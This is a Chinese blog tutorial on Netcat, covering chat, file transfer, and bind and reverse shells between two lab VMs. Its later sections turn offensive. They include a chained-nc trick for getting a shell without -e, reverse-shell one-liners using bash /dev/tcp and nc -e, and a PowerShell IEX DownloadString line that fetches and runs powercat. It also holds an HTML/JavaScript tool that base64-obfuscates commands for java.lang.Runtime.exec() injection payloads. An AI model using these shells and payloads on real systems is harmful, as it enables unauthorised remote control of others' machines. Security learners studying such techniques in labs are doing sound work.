瑞士军刀-Netcat

目录

一:Netcat简介

二:工具下载 

  1. windows系统

  2.linux系统

三:常用参数

四:常用功能

  1.连接通讯 

    [1]:服务端开启监听端口

    [2]:客户端连接监听端口

    [3]:实现连接通讯

  2.文件传输

    [1]:接收端开启接收

    [2]:传输端开启传输 

    [3]:文件成功传输 

  3.传输shell 

    [1]:正向shell

    [2]:反向shell

五:拓展姿势

  1.奇淫巧技 

  2.博文总结 

六:反弹shell工具

  1.在线工具

  2.代码


一:Netcat简介

netcat称为网络工具中的瑞士军刀,体积小巧,但功能强大,为了方便常用nc作为其简称。 它可以在两台设备上面相互交互,主要就是侦听模式和传输模式。大致功能如下:

    Telnet功能
    获取banner信息
    传输文本信息
    传输文件/目录
    加密传输文件,默认不加密
    远程控制
    加密所有流量
    流媒体服务器
    远程克隆硬盘

二:工具下载 

1. windows系统

Windows:https://eternallybored.org/misc/netcat/解压安装包,直接运行,无需安装

2.linux系统

输入下面命令即可安装(kali系统已经部署了预安装)

yum install nc

三:常用参数

 打开终端,输入nc -h即可查看到nc的使用帮助界面,即一些常用参数的作用(这里用kali演示,其他系统同样的操作即可),如下

考虑到这样大家可能看不大清楚,而且还全是英文,有可能看不懂,所以demo哥这里贴心的给大家写一份中文版的使用帮助,以表格形式呈现,如下

以上差不多就是nc比较常用的一些参数,众所周知,参数搭配在一起使用,就能完成某些特定的功能,所以下面我们就来介绍一下由各种命令搭配构成的nc常用功能

四:常用功能

 实验环境:

一台kali虚拟机(ip地址为192.168.149.129)和一台centos虚拟机(ip地址为192.168.149.133),两台机器网络在同一网段,能互相ping通,且都安装了nc工具

1.连接通讯 

服务端 监听端口: nc -lnvp 端口     
 
客户端 连接端口: nc 服务端ip 端口     

演示:

[1]:服务端开启监听端口

在kali端监听6666端口,如下

nc -lnvp 6666

[2]客户端连接监听端口

nc 192.168.149.129 6666

[3]实现连接通讯

经过上面的两个操作后,centos和kali已经建立起实时通讯了,在kali输入的内容会传输到centos,比如在kali输入nihao cnetos,如下

 在centos的连接页面也会接收到该信息,如下:

2.文件传输

接收端:nc -lvp 端口 >传输的文件在本地保存的路径
 
传输端:nc 接收端ip 端口 <要传输的文件路径

演示 :

我们在centos创建一个1.txt的文件,并用nc将其传输到kali

[1]接收端开启接收

我们还是选择通过6666端口来传输文件 

nc -lvp 6666 >2.txt
//即将接收到的数据保存到当前路径下的2.txt

[2]传输端开启传输 

 在centos上用nc将centos上的1.txt传输到kali上

nc 192.168.149.129 6666 <1.txt

[3]文件成功传输 

 可以看到kali端已经成功收到文件

3.传输shell 

shell传输分为正向shell反向shell ,理解正向和反向,主要就是分清客户端服务端,下面给大家详细介绍一下

[1] 正向shell

正向就是客户端主动连接服务端,也就是我们去找目标拿权限,获取服务端的shell,这里我们把kali作为客户端,来正向获取centos的shell权限

服务端:nc -lvp 端口 -e /bin/sh
//正向需要经过服务端的防火墙,所以在这一步之前要先关闭防火墙
 
客户端:nc 服务端ip 端口        

演示 

centos关闭防火墙并打开shell监听 

kali连接监听端口获取shell

 到这里就成功kali就已经成功拿到centos的shell了,在kali的连接页面即可查看,如下:

 [2]反向shell

反向shell就是让目标把权限自己给我们,也就是服务端来找客户端并把shell给客户端,具体步骤如下

服务端反弹shell: bash反弹:bash -i >& /dev/tcp/客户端ip/端口 0>&1
                 nc反 弹 :nc -e /bin/bash 客户端ip 端口
//反弹姿势还有很多,这里只列举了两种
 
客户端开启监听: nc -lvp 端口

客户端开启监听

 服务端反弹shell

 成功将shell回弹到kali

 五:拓展姿势

1.奇淫巧技 

在用nc的正向shell时不仅要关心防火墙的情况,还要注意-e参数是否被支持,看看初始命令

nc -e /bin/bash 客户端ip 端口

如果此时-e参数不被支持,但你仍然想使用正向shell建立连接,应该怎么办呢?这就是要给大家讲的小技巧——nc串连,具体命令如下:

nc 客户端的ip 第一个端口|/bin/bash |nc 客户端的ip  第二个端口

 详细给大家讲一下服务端执行这条命令的意思:

       语句的前半部分服务端nc将shell回弹到客户端ip的第一个端口,此时客户端开启对第一个端口的监听并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户在第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容,此时用户再用客户端nc监听并连接第二个端口,这样就可以实现攻击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果

这招巨好用,大家可以多看看或者下去自己试一下 

2.博文总结 

除此之外nc还有很多用法,不过平时用的比较多的其实就是用来监听回弹的shell,后面我也会出一期回弹shell姿势总结,大家有兴趣的也可以去了解一下,感谢大家的阅读

 六:反弹shell工具

1.在线工具

https://www.revshells.com/

https://forum.ywhack.com/shell.php

2.代码

<!DOCTYPE html>
<head>
<title>java.lang.Runtime.exec() Payload Workarounds</title>
<meta charset="utf-8" />
<h1>java.lang.Runtime.exec() Payload Workarounds</h1>
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type input here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly></textarea></p>
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');

  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;

    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }

    if (!taInput.value) taOutput.value = '';
  }

  taInput.addEventListener('input', processInput, false);
</script>
</body>
<b>Bash反弹命令:</b>
<p style="color:red;">bash -i >& /dev/tcp/IP/端口 0>&1</p>
<br>
<b>PowerShell反弹命令:</b>
<p style="color:red;">powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c IP -p 端口 -e cmd</p>
<br>
<br>
<br>
<footer>
解决执行命令时特殊字符问题
<br>
</footer>
</html>%

 

posted @ 2023-11-06 17:25  hkgan  阅读(78)  评论(1编辑  收藏  举报